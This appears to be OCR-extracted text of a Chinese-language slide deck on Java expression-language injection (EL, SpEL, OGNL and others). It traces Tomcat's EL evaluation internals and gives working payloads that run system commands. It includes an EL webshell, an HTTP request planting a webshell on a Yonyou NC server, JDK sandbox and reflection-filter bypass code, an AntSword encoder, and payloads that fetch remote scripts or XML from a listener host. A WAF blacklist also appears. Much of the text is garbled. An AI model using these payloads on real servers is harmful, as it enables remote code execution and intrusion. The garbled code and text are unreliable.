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¢ ELRANBZSHAITHIE

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance()
.getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"open /\")")}

<%
"".getClass().forName("javax.script.ScriptEngineManager").newInstance()
("js").eval("java.lang.Runtime.getRuntime().exec(\"open /\"");

%>

<%
((ScriptEngineManager)"".getClass().forName("javax.script.ScriptEngineManager").newInstance())
.getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"open /\"");

%>




¢ ELRZAANESHITZHE

org.apache.jasper.runtime.PageContextImpl#proprietaryEvaluate

Vv = ve = {ValueExpressionimpl@3337} "ValueExpression[${''.getClass().forName("javax.script.ScriptEngineManager").newlnstance().getEn....(£T)
; expectedType = {Class@326} "class java.lang.String"
expr = "${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang
fnMapper = null
varMapper = null —
node = (htVelue@3343) Value URSNDIRR, BATHE— DT R
f parent = {AstDynamicExpression@3357} "DynamicExpression"
f children = {Node[11
0 = {AstString@4006} "String["]"
1 = {AstDotSuffix@- '} "DotSuffix[getClass]"
2 = {AstM ters@3355} "()"
3 = {As Suf 8} "DotSuffix[forName]"
4 = Viethc ¢ rs@4009} "(String["javax.script.ScriptEngineManager"],)"
5={A Suffix@4010} "DotSuffix[newInstance]"
6 = {AstMethodParameters@4011} "()"
7 = {AstDotSuffix@4012} "DotSuffix[getEngineByName]"
8 = {AstMethodPa eters 3} "(String["JavaScript"],)"
9 ={A 4} "DotSuffix[eval]"

10 = {AstMe arameters@4015} "(String["java.lang.Runtime.getRuntime().exec("open /")"],)"
f id=27

f image = null




¢ ELRANBHNSHITIZSE

org.apache.el.parser.AstValuetigetValue

public Object getValue(EvaluationContext ctx) throws ELException {
Object base = this.children[0].getValue(ctx);
int propCount = this.jjtGetNumChildren();
int 1 = 1;
Object suffix = null;
ELResolver resolver = ctx.getELResolver();

BHRRE, baoseNBHIZARS Z/E
suffix = this.children[i].getValue(ctx);
if (i + 1 < propCount &% this.children[i + 1] instanceof AstMethodParameters) { 17?(?? E/\JXTJ-%

AstMethodParameters mps = (AstMethodParameters)this.children[i + 1];
Node paramFoOptional = mps.jjtGetChild( i: 0);

if (!(paramFoOptional instanceof AstLambdaExpression) && !(paramFoOptional instanceof LambdaExpression)) {
throw new ELException(MessageFactory.get( key: "stream.optional.paramNotLambda", new Object[]{suffix}));

Object[] paramvValues = mps.getParameters(ctx); mps: "()" es: Obje

base = resolver.invoke(ctx, base, suffix, this.getTypesFromValues(paramValues), paramValues);

i+=2;
} else {
if (suffix == null) {
return null;

ctx.setPropertyResolved(false);
base = resolver.getValue(ctx, base, suffix);




¢ ELRANBHNSHITIZSE

org.apache.jasper.el.JasperELResolver#invoke

public Object invoke(ELContext context, Object base, Object method, Class<?>[] paramTypes, Object[] params) {

String targetMethod = coerceToString(method);
if (targetMethod.length() == 0) {

throw new ELException(new NoSuchMethodException());
} else {

context.setPropertyResolved(false);

Object result = null; ull s ) i s o reSOIVerijzzHE\Eg'f%@E‘WEIJ-D/\\\ﬁL

int index = 1 + this.appResolversSize + 2;

int size; size: 9 2 Eea0itlistB9EIE, array T mE
for(size = 1; size < index; ++size) {

/‘_
result = this.resolvers[size].invoke(context, base, targetMethod, paramTypes, params); %EE :i IZEJEH |J EI]ZE

if (context.isPropertyResolved()) {

et resn BeanELResolver
' ® resolvefIlE=fEcontextifl— MR
index += 4; \ \ \ S
size = this.resolversSize.get(); re : 9N -LE, %1EJ:KLXEE{J%/§7‘EZ%Z§UT

for(int i = 1ndex, i < size; ++1) {
params); context: EvaluatiornC
if (context.15PropertyResolved()) {
return result;

F




¢ ELRANBHNSHITIZSE

javax.el.BeanELResolver#invoke

public Object invoke(ELContext context, Object base, Object method, Class<?>[] paramTypes, Object[] params) {

Objects.requireNonNull(context); context: Evalu nContext(
if (base != null && method != null) {
ExpressionFactory factory = ELManager.getExpressionFactory();
String methodName = (String)factory.coerceToType(method, String.class);
Method matchingMethod = Util.findMethod(base.getClass(), base, methodName, paramTypes, params);
Object[] parameters = Util.buildParameters(matchingMethod.getParameterTypes(), matchingMethod.isVarArgs(), params);
Object result = null; : 11

try { —+- R —|
- result = matchingMethod.invoke(base, parameters); base: ScriptEngineManager@4154 matchingMethod: "ppblic javax.: %U /E\.{ZEE/\] -Ij /ﬁ\ E/\] resolver 0 ﬁgkﬁi%ﬂg )i%j-

} catch (IllegalAccessException | IllegalArgumentException varl3) {
throw new ELException(varil3);
} catch (InvocationTargetException varl4) {

Edl Tomcat Localhost B Tomcat Catalina B

-exec-6"@2,414 7£48 "main":
ELResolver (javax.el)
P context = {E
©® base = {ScriptEngineManager@4154}
P ethod o gMEBYN B

paramTypes = {Clz
per.runtime,
matchingMethod = {Methoc

parameters = {Object[1]@42
result = null




¢ ELRANBZSHAITHIE

.getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"open /\")")}

0 ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance()

Q: A AELREDN AT E IR H KB #R?

A: ELRANERTE, 8—SPREFBHTBETRFELN, ERFFIEFHERBHOEE,
FrAAR R R a2 B e
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o = FESLIFRG--EFMEIST]

&N WebShel i@{S 128

${param.getClass().forName(param.c)
.newInstance().eval(param.cmd) }

HTTPIERAR
HTTPi&KHost
HTTPI&KURI  [test.jsp

POST /test.jsp?c=bsh.Interpreter HTTP/1.1
Host:

SLERA A NSEIIRIMEBEN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0 ° %B/-.RU:J% N = m]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-L : zh-CN, zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 H< %j-‘:t JEH K E’J Tj_‘\f
S e S Bl e el g « HSKREEBbsh.Interpreterzk TiYevalsa;
Accept-Encoding: gzip, deflate
Connection: close
°

N\, e Y N e = o AY AY N
Cookie: txtime=4; txid=ad796054927b6abd7e41A1677071298066A794; txtime=0; ?‘}i” 5 @E\ZWG bShel |J\fﬁ1§ j:édﬁ:k”$%§2$ﬁ |I:|:I| #TEE\Z
txid=3fbeec4199ee84c63af8A1677071222799A869;
JSESSIONID=B189F495D3FF4E727AB278B1DF8F92B8.ncMem04
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

Content-Length: 92

cmd=org.apache.commons.io.lOUtils.toString(Runtime.getRuntime().exec("id").getinputStream()

)
Webshell3Z{§#&12 /data/yonyou/nchome/webapps/nc_web/test.jsp
X{4#MD5 2339d¢
s g




o HIESHITHRE

${'"'.getClass()} == ${''['getClass']()}




o HIESHITHRE

base AstMethodParameters
St [eetClass’] O} )
l org.apache.el.parser.AstBracketSuffix#getValue
AstBracketSuffix | @verride

: public Object getValue(EvaluationContext ctx) throws ELException {
: return this.children[@].getValue(ctx);
org.apache.el.parser.AstValuetigetValue i

while (base != null & & i < propCount) {
// Evaluate next node )
suffix = this.children[i].getValue(ctx);
// if next+l node is (...)

L if (i + 1 < propCount & (this.children[i+1] instanceof AstMethodParameters)) {
] AstMethodParameters mps = (AstMethodParameters) this.children[i+1];

// Then this is a method
Object[] paramValues = mps.getParameters(ctx);
// Invoke method

base = resolver.invoke(ctx, base, suffix, getTypesFromValues(paramValues),paramValues);
} else {...}




¢ JavosE "L S HEL"

${"''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval()}

@ o MALFESHIE: EBFAN  BEIFFSHUE

${"''['getClass']()[ 'forName']("'javax.script.ScriptEngineManager')[ 'newInstance’']()[ 'getEngineByName']("'js"')['eval']()}

@ o FFEHMAHITIEN: EBEBN S BIISHEN
${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)}

\‘7 e <J "N .‘v:v(‘i,
Raw Hex \n = Pretty Raw Hex Render

1 POST /el/demo.jsp?a=getClass&b=forName&c= 1 HTTP/1.1 200
javax.script.ScriptEngineManager&d=newInstance&e= 2 Set-Cookie: JSESSIONID=EB5B854
getEngineByName&f=js&g=eval HTTP/1.1 Path=/; HttpOnly

2 Host: localhost:8088 3 Content-Type: text/html;charss

3 Content-Type: application/x-www-form-urlencoded 4 Content-Length: 30

4 Content-Length: 60 5 Date: Fri, 21 Jul 2023 08:20:72

5 Connection: close 6 Connection: close

6 7

7 h=java.lang.Runtime.getRuntime().exec('open -a 8
Calculator'); 9

java.lang.UNIXProcess@845b7bf

ASCII Unicode




o MAANENRETNEEMWIE

® F| XEXXNAZHE Object o= xxxBEIEG, ERELER THNFEERFRINEERMEES #*HPayload
o TLMEBINEXNSRKIMTENBEEE

|

: pageContext.setAttribute("obj",Runtime.getRuntime());

: pageContext.getAttribute("obj").exec("open -a Calculator")
|

Y o _____ |
ELRIEZ JSP
ELRAXNAEN RS ISP X R pageContext pageContext
pageScope BEA&ZFRFpageContext
requestScope request
sessionScope session
applicationScope application
param ServletRequest.getParameter(String name)
paramValues ServletRequest.getParameterValues(String name)
header ServletRequest.getHeader(String name)
headerValues ServletRequest.getHeaders(String name)
cookie HttpServietRequest.getCookies()
initParam ServletContext.getInitParameter(String name) T—




¢ ELFixfTgetter/setter/RIE

o FlEXEXNT mSEMEERITHITRRN %, FESREWENERTRT
® RWCTF Desperate Cat FEEI 71X rick

FIiE

${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}

b

pageContext.getServletContext().getClassLoader().getResources()
.getContext().getManager().setPathname(request.getParameter("a"));

PARiTsetterafil, #ilEtk:
proprietaryEvaluate:942, PageContextimpl (org.apache.jasper.runtime)
-> getValue:189, ValueExpressionimpl (org.apache.el)
-> getValue:37, AstSemicolon (org.apache.el.parser)
-> getValue:35, AstAssign (org.apache.el.parser)
-> setValue:201, AstValue (org.apache.el.parser)
-> setValue:115, CompositeELResolver (javax.el)
-> setValue:119, BeanELResolver (javax.el)




¢ ELFXZX A 1Tgetter/setterfl B

=ERE T RFFED R getter/setterFI ?

® com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
- load custom bytecode and instantiate it to execute arbitrary Java code

® com.sun.rowset.JdbcRowSetImpl#setAutoCommit
- trigger JNDI injection, can also execute arbitrary Java code

SE— TZARENELIN T EMENRKIT:

I
: pageContext.setAttribute("obj","".getClass().forName("com.sun.rowset.JdbcRowSetImpl").newInstance());
I pageContext.getAttribute("obj").dataSourceName="1dap://127.0.0.1:9999/exp";

: pageContext.getAttribute("obj").autoCommit=true

I




¢ IREPRELFIAR

® ELFRANANALUKEjspHIbodyE, EaJLUEAZEISHEIIREZ P
® \WebShell3|ZWMRRBIEFRBEITAST, WS HFFRF B R

<jsp:useBean id="test" type="java.lang.Class"
beanName="${Runtime.getRuntime().exec(param.cmd)}"></jsp:useBean>

b

org.apache.jasper.compiler.Generator.GenerateVisitor#attributeValue
org.apache.jasper.compiler.ELInterpreter#interpreterCall
org.apache.jasper.compiler.JspUtil#interpreterCall

b

(java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(
"${Runtime.getRuntime().exec(param.cmd)}",
java.lang.String.class,
(javax.servlet.jsp.PageContext) jspx_page context,
null




o RIXTVEARER LRI
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¢ ERWXWIT vs ERRBRIT

BRIASH T E/POCREME TERGSHIT, ERELHRIR(IIEFE
BE—MEERBERTHNOF:

ERMLTATEHEERRRSZ B MROKAI, MESRBRAITEE
5@&@@ BRANRRENSE,

2. FRABRITULSEINEAREFS FHMIRE,

N



o MAJSSIZERH A

B JovoBREMFEAN, FEREABAEMEERR: BEMURE HopJSSIZEHAFERFSRAINEX:
ARIRFXERLE, BEULIEZnew; BERENRERIT— 1. —fTAMBENTIERJSSIE, FJSSIERTLIATS
f), BETLAITEZA 2. JDK6-14EROILAMER, ERHENRSEHNFTE

B REME RS ARNEER—TBANPERES, ZERERKNL 3. oEEERJavosiE, SSEERABRT
M FR3E
= ${"''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval()}

SpEL: T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval()

Ognl: (new javax.script.ScriptEngineManager()).getEngineByName("js").eval()

MVEL: new javax.script.ScriptEngineManager().getEngineByName("js").eval();

JEXL: ''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval()

N



¢ AntSword—##iEE R R

AntSword JSPJSERFLEBEN sy, DJLMSHRAIVEAURBERIEAG R—RET XHEE

B 24l themeleaf&@iRIFEAN
| @RequestMapping("/engine/path™)
public String path(@RequestParam String lang) {

return lang; //template path is tainted

'use strict';

1

module.exports = (pwd, data, ext = null) => { :

data[pwd] = :

* \${T(javax.script.ScriptEngineManager).newInstance().getEngineByName |,
("js").eval(new

String(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode(

'${Buffer.from(data['_']).toString('base64')}"')))} ::.Xx; :

delete data['_']; :

return data; i

1

M R58%EUE (http://localhost:7788/engine/path)
w7 X B= A ERE

B EiticE

URLithiE * http://localhost: 7788/engine/path
EERE lang

W& E

RESIRE

EHRRE

default (F#7%)

spelbase64
el
ognl

' themeleaf

default

* base64
R ERER
o HithiR &

s m 3

B 5%EF (1)
© A

D B




* REFEFE

[RigZFIL Payload @ or \ﬁﬁm TEF)
or ReeEIamSHIT

FiAT+ 55|18 >  ERORERG a
-
TAA SIS EETIRNE CD  ENEEREHT ()

® HTISSIZWRE, BESLLIEARED . NIFShellcodeFEBXBIEEISSIZE DML AR, FRE
JavaiRJSEE Z @R, B5EBUG, TEEERERRGHNRZETFEHEPayload

o HNTIMESRABATHTEN, EERFEMEERFTIBHIN0ZL

N



o N =F-

SR A TViERE

* defineClass

* BAES
& EEFRI
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¢ [RgPayload

JDK6 JDK7 JDK8 JDK9 | JDK10 | JDK11 | JDK12 | JDK13 | JDK14
v v v

var classBytes = Base64DecodeToByte(Classdata);

var byteArray = Java.type("byte[]");

var int = Java.type("int");

var defineClassMethod = java.lang.ClasslLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,

s 2RI BN EBAHE—RREPayload
¥ BERRZ IDKIRAFAFHS:
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke( https://yzddmré.com/posts/a-new-type-java-webshell/
Thread.currentThread().getContextClassLoader(),
classBytes,
%]

classBytes.length
)

return cc.getConstructor(java.lang.String.class).newInstance(cmd);




¢ JDKhR 7B (8 26

« JDKFE5IANISEIZE, KFARhiNoLH

RS Javatyoe SRR ava A fie A N « ReflectionZ: TfieldFilterMapi& 0
AV yPE= A R AVAR S Y, RSB AATRE]
. REIEA VAR A KR . EHIREENRRES

- JSEIZERGAKANashornLEL » Unsafe.defineClass/a & . JSE|EEWITFREHIDK
St 138 ST VoS A . AL BE BRERIEAESE . HRIET a




¢ JDK6/7 Rhino FEAdefineClass
JDK6 JDK7 JDK8 JDK9 JDK10 | JDK11 JDK12 | JDK13
v v v v v

var classBytes = Base64DecodeToByte(Classdata);
var theUnsafeMethod =
java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");

theUnsafeMethod.setAccessible(true); . - .
Rhino®ig & Java.typeE ErIZEOFKENUavaii s

eI AClassLoader.defineCloss&=B8 X F ks
{EBRUnsafezk THdefineClassseid
BCEL ClassLoadertt®JLA, RiZPayloadiR/E 489B

unsafe = theUnsafeMethod.get(null);
clz = unsafe.defineClass(null, classBytes, O,

classBytes.length, null, null);

clz.newInstance();

N



¢ IDKNEIERIEERITRHIFE

® JDK1FBR T Unsafe.defineClassf ik

® TiximfTxdefineClassiksetAccessible(true)




¢ IDKNEIERIEERITRHIFE

JDK6

JDK7

JDK8

JDK9

JDK10

JDK11

JDK12

JDK13

var Unsafe = Java.type("sun.misc.Unsafe");

var field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);

var unsafe = field.get(null); //3RBEXunsafeSL{l

® java.lang.reflect.AccessibleObject#checkCanSet
Accessible =i@iEModifier X FRIEHRF

A %Ié Y\ U /_an\\ . N
var Modifier = Java.type("java.lang.reflect.Modifier"); ® Bi¥Unsafes&s@ TES DUb|ICH’£
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClasslLoader.class.getDeclaredMethod(
"defineClass",byteArray.class,int.class,int.class); //3REXdefineClassA ik

var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers"); /[/3kEXdefineClassBImodifiers
unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), Modifier.PUBLIC); /[s@{T{E9PUBLIC

var cc = defineClassMethod.invoke( [IRSER, 3R
java.lang.Thread.currentThread().getContextClassLoader(),classBytes,0,classBytes.length);
cc.newInstance();




¢ JDK12/13/14% 2 fieldFilterMap

® JDK>=12iksE1E: RBEmModifiers=E

o Z\EREET|dk.internal.reflect.Reflection#fieldFilterMap8IZE{t

®  JDKNM

Map<Class<?>,String[]> map = new HashMap<>();
map.put(Reflection.class,

new String[] {

"fieldFilterMap", "methodFilterMap"}

);
map.put(System.class,

new String[] {"security"}
);
map.put(Class.class,

new String[] {"classLoader"}
);
fieldFilterMap = map;

m JDK12

fieldFilterMap = Map.of(

e

Reflection.class, ALL MEMBERS,
AccessibleObject.class, ALL_MEMBERS,
Class.class, Set.of("classlLoader"),
ClasslLoader.class, ALL_MEMBERS,
Constructor.class, ALL_MEMBERS,
Field.class, ALL MEMBERS,

Module.class, ALL_MEMBERS,
System.class, Set.of("security")



¢ JDK12/13/14% 2 fieldFilterMap

® https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk/JdkSecurityBypass.java
® fNashorni&’AL

/] 3REWUnsafexd s

var Unsafe = Java.type('sun.misc.Unsafe');

var HashMap = Java.type('java.util.HashMap');

var field = Unsafe.class.getDeclaredField("theUnsafe"); >
field.setAccessible(true);

var unsafe = field.get(null); 1B 1S=2Beichen

/| ® A defineAnonymousClassikBXfieldFilterMapim#s

var classClass = Java.type("java.lang.Class");

var reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");

var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();

var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");

|| E= RGN ieldFilterMap
if (fieldFilterMapField.getType().isAssignableFrom(HashMap.class)) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), new HashMap());

}
I BREF

var clz = java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes();

var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), clz, null);
var reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(classClass, unsafe.objectFieldOffset(reflectionDataField), null);




ki@ %Payload

JDK6

JDK7

JDK8

JDK9

JDK10

JDK11

JDK12

JDK13

function defineClass(classBytes) {
try { // jdk6-10
unsafe.defineClass(null, classBytes, @, classBytes.length, null, null).newInstance();
} catch (e) { // jdki1-14
bypass() [/&idfieldFilterMap
var defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod(
"defineClass",
java.lang.Class.forName("[B"), /| REIIKENFTEHZEE
java.lang.Integer.TYPE,
java.lang.Integer.TYPE
)
var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers");
unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), ©x00000001);
var cc = defineClassMethod.invoke(
java.lang.Thread.currentThread().getContextClassLoader(),
classBytes,0,classBytes.length

Zé_newlnstance(); ® RhinoAR3Z#FJava.type. SomeClass.classiBix, N T REFELPARIKALE
} ® TEMABUGithub: https://github.com/yzddmré/Java-Js-Engine-Payloads

}
defineClass(Base64DecodeToByte(PAYLOAD));




® https://github.com/gobysec/Research/blob/main/Metabase Code Executi
on Vulnerability (CVE-2023-38646) Exploing H2 JDBC in Depthzh CN.md
o TREAR—H, XiEFEXBRoverride/Et

function setAccessible(accessibleObject){
var unsafe = getUnsafe();
var overrideField =
java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
var offset = unsafe.objectFieldOffset(overrideField);
unsafe.putBoolean(accessibleObject, offset, true);

¥




¢ B EMPayload

® WR{UNZEN T defineClass, RNEELT IDKHHIBBA KR
® 7% 7T Unsafe.defineAnonymousClassiai& B # & FREY

function defineClass(classBytes) {

var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);

unsafe = theUnsafe.get(null);

unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), classBytes, null).newInstance();




o FEIE DI

et SV
FIXA—JS5|F o Elt TMNELIMWM T NRENEERRERITH T
FIX—JS5|ZE 82 IDKERF 03 e

<

RIEN— IS5 ZE B IDKIERF T80,

N



o RiIXEANRRE TS




(%27\u0023context[\%27xwork.MethodAccessor
.denyMethodExecution\%27]\u@e@3dfalse%27) (s
ul8) (sul9)&(%27\u0v23su20\uvv3d@java.lang.
Runtime@getRuntime().exec(\%270pen%20-
a%20Calculator.app\%27)%27) (su2l) (su22)

Unicode4w%3
T(String).getClass().forName("java.l"+"ang.Ru"
323
+"ntime").getMethod("ex"+"ec",T(String[])).inv %0052
oke(T(String).getClass().forName("java.l"+"ang —
Ru"+"ntime").getMethod("getRu"+"ntime").invok j(ﬂ\fé

e(T(String).getClass().forName("java.l"+"ang.R o Aot o S A
u"+"ntime")),new String[]{"cmd","/C","calc"}) Ei§j4=§LﬁTEE,t =]

T(java.lang.Character).toString(46).concat(T(java.lang.Character
).toString(46)).concat(T(java.lang.Character).toString(47)).conc
at(T(java.lang.Character).toString(102)).concat(T(java.lang.Char
acter).toString(108)).concat(T(java.lang.Character).toString(97)
).concat(T(java.lang.Character).toString(103))...

ognl blacklist: {

name: '&j%1 - OGNLIBGIEZR",

action: 'block',
expression: [
'ognl.OgnlContext’,

'ognl.TypeConverter',

'ognl.MemberAccess"’,
' _memberAccess',

'ognl.ClassResolver',

0 46 27 'java.lang.Runtime’,
£ BEfRS ‘Java.lang.Class',
K 'java.lang.ClassLoader',
'"‘%aga 'java.lang.System',
i@ﬁiﬁ‘l‘ﬁgﬁﬁ%u 'java.lang.ProcessBuilder’,

'java.io.File"',

'javax.script.ScriptEngineManager’,

ognl length limit {
name: '&k2 - OGNLERXXKERE",
action: 'log',
max_length: 400
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o RIFEERTRENERE, BOUDPEESE RFPREYFIE: getClass, newlnstance, invoke...
¢ RNRIBEEREIINFEMEEEEXRN/A—EEG/ERGENR(ENFREANEBERIHREDT)
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https://hackerone.com/reports/1418891

Raw Hex

POST /expression/spel HTTP/1.1

Host: localhost:7788

Pragma: no-cache

Cache-Control: no-cache

Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 107

1
2
3
4
5
6
7
8
9

expression=T(com.sun.tools.script.shell.Main).main(new
String[]1{"-e","load('http://127.0.0.1:9999/1.js')"})

ASCIl  Unicode TREER

new java.lang.ProcessBuilder(["/bin/bash","-c","open -a Calculator.app"]).start();

or EERIHEEINELETAEFES




¢ JavaWrapperil#BCELFH

® 2022 0CTF
® hessiank 4k gadgets

Raw Hex Pretty Raw Hex

1 POST /expression/spel HTTP/1.1 HTTP/1.1 500
2 Host: localhost:7788 Vary: Origin
3 Pragma: no-cache Vary: Access-Control-Request-Method
4 Cache-Control: no-cache Vary: Access—-Control-Request-Headers
5 Connection: close Vary: Origin
6 Content-Type: application/x-www-form-urlencoded Vary: Access-Control-Request-Method
7 Content-Length: 2093 Vary: Access—-Control-Request-Headers
8 Content-Type: application/json
9 expression= Date: Thu, 27 Jul 2023 ©08:52:04 GMT
T(com.sun.org.apache.bcel.internal.util.JavaWrapper)._mai 10 Connection: close
n(new 11 Content-Length: 131

OCo~NOULE WN -

String[]1{"$$BCEL$$$1$8b$I$A$A$A$A$A$A$A$8dUSADRSTYSUSS5dSH | 12
$9a%$9c$d0i$40$Cu$a834saeRcdh742AdcldccvdXditndfAcR2dRelld 13 {

. "timestamp":1690447924703,
9f$e2G$e8%$ac$d3$1$811 "status'":500,
9$cb$3f$Fff$C$b8$84M$ "error":"Internal Server Error",
$89%h$s$fe$cdlL$i7M$d "message":"No message available",
$0$f7%$e2$b8%$_10%$0$89 "path":"/expression/spel"
h$cc$It$a7$c6$d7$E$8

ASCII Unicode
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Raw Hex

POST /expression/spel HTTP/1.1

Host: localhost:7788

Pragma: no-cache

Cache-Control: no-cache

Connection: close

Content-Type: application/x-www—-form-urlencoded
Content-Length: 112

expression=new
javax.swing.plaf.synth.SynthLookAndFeel().load(new
java.net.URL("http://127.0.0.1:9999/mr6.xm1"))

ASCIl  Unicode CREES

Raw Hex Re

HTTP/1.1 200

Vary: Origin

Vary: Access-Cont

Vary: Access—-Cont

Content-Type: text
Content-Length: 12
Date: Thu, 27 Jul

Connection: close

System Error

B mré6.xml

Q:

new class="java.lang.ProcessBuilder'
string>open</string
string>-a</string
string>Calculator</string
object method="start" object
new
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